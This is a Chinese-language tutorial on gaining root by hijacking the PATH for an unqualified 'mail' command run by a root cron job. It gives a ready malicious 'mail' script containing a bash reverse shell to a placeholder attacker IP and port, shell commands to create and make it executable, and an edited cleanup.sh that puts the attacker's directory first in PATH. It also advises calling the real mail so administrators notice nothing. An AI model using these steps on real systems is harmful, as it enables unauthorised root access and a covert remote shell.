### 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权 **攻击原理:滥用 `PATH` 环境变量** 这个漏洞利用的核心在于 **`PATH` 环境变量的优先级** 1. **`PATH` 的作用:** 在 Linux 系统中,当用户执行一个未指定绝对路径的命令(如 `mail` 或 `ls`)时,系统会按照 `PATH` 环境变量中列出的目录顺序,从左到右进行搜索,找到第一个匹配的同名可执行文件并运行 2. **`root` 用户的 `PATH`:** `root` 用户的 `PATH` 环境变量通常包含 `/usr/local/sbin`、`/usr/local/bin`、`/usr/sbin`、`/usr/bin` 等系统目录 3. **漏洞利用:** 如果我们能够**修改**或**控制**脚本执行时的 `PATH` 环境变量,将一个我们具有写入权限的目录(例如 `/tmp` 或 `/home/user/bin`)添加到搜索路径的**最前面**,那么系统就会优先执行我们在这个目录中创建的**恶意程序**,而不是真正的 `/usr/bin/mail` 4. **最终目标:** 我们将创建一个名为 `mail` 的恶意可执行文件,它真正的作用是执行我们的提权命令(获取一个 Root Shell) **** **攻击载荷的构造与放置** 攻击的核心是创建一个名为 `mail` 的恶意可执行文件,并确保它能被 Root 用户的 `cron` 任务找到并执行 **1. 构造恶意 Payload** 我们创建一个简单的 Shell 脚本作为我们的恶意 `mail` 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 **Root Shell** **文件内容:** ```bash #!/bin/bash # 1. 执行反弹 Shell 命令 # 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT /bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 & # 2. (可选)执行真正的 mail 命令以避免 cron 任务报错 # 这样做能让管理员和脚本看起来一切正常。 # /usr/bin/mail -s "Status" $USER ``` **2. Payload 放置位置** 我们选择一个我们有写入权限的目录,并确保该目录能在 `cleanup.sh` 执行时被添加到 `PATH` 环境变量中 **策略 A:修改用户级的 `PATH` 变量(针对 `cron` 任务)** 许多系统的 `cron` 守护进程在执行任务时,不会加载完整的用户环境变量文件(如 `.bashrc` 或 `.profile`),而是使用一个最小化的、硬编码的 `PATH`。因此,我们必须**直接修改 `cleanup.sh` 脚本**或者**在环境变量文件中强制覆盖** 步骤 1:创建 Payload 和目录 假设我们在自己的家目录中创建这个目录和文件: ```bash mkdir -p /home/user/bin # 写入恶意 Shell 脚本 echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail # 赋予执行权限 chmod +x /home/user/bin/mail ``` 步骤 2:劫持 `cleanup.sh` 脚本的 `PATH`(必需) 我们必须修改 `/home/user/cleanup.sh`,在执行 `mail` 命令之前,强制将我们的恶意目录添加到 `PATH` 的最前面 修改后的 `/home/user/cleanup.sh` 脚本内容: ```bash #!/bin/bash # 【!!! 攻击载荷:添加恶意目录到 PATH 最前面 !!!】 export PATH="/home/user/bin:$PATH" # 脚本中的其他命令 (都使用了绝对路径,不受影响) /bin/some/command /bin/another/command # 原始命令:系统现在会优先找到 /home/user/bin/mail 并执行 echo "Cleanup started" | mail -s "Status" $USER ```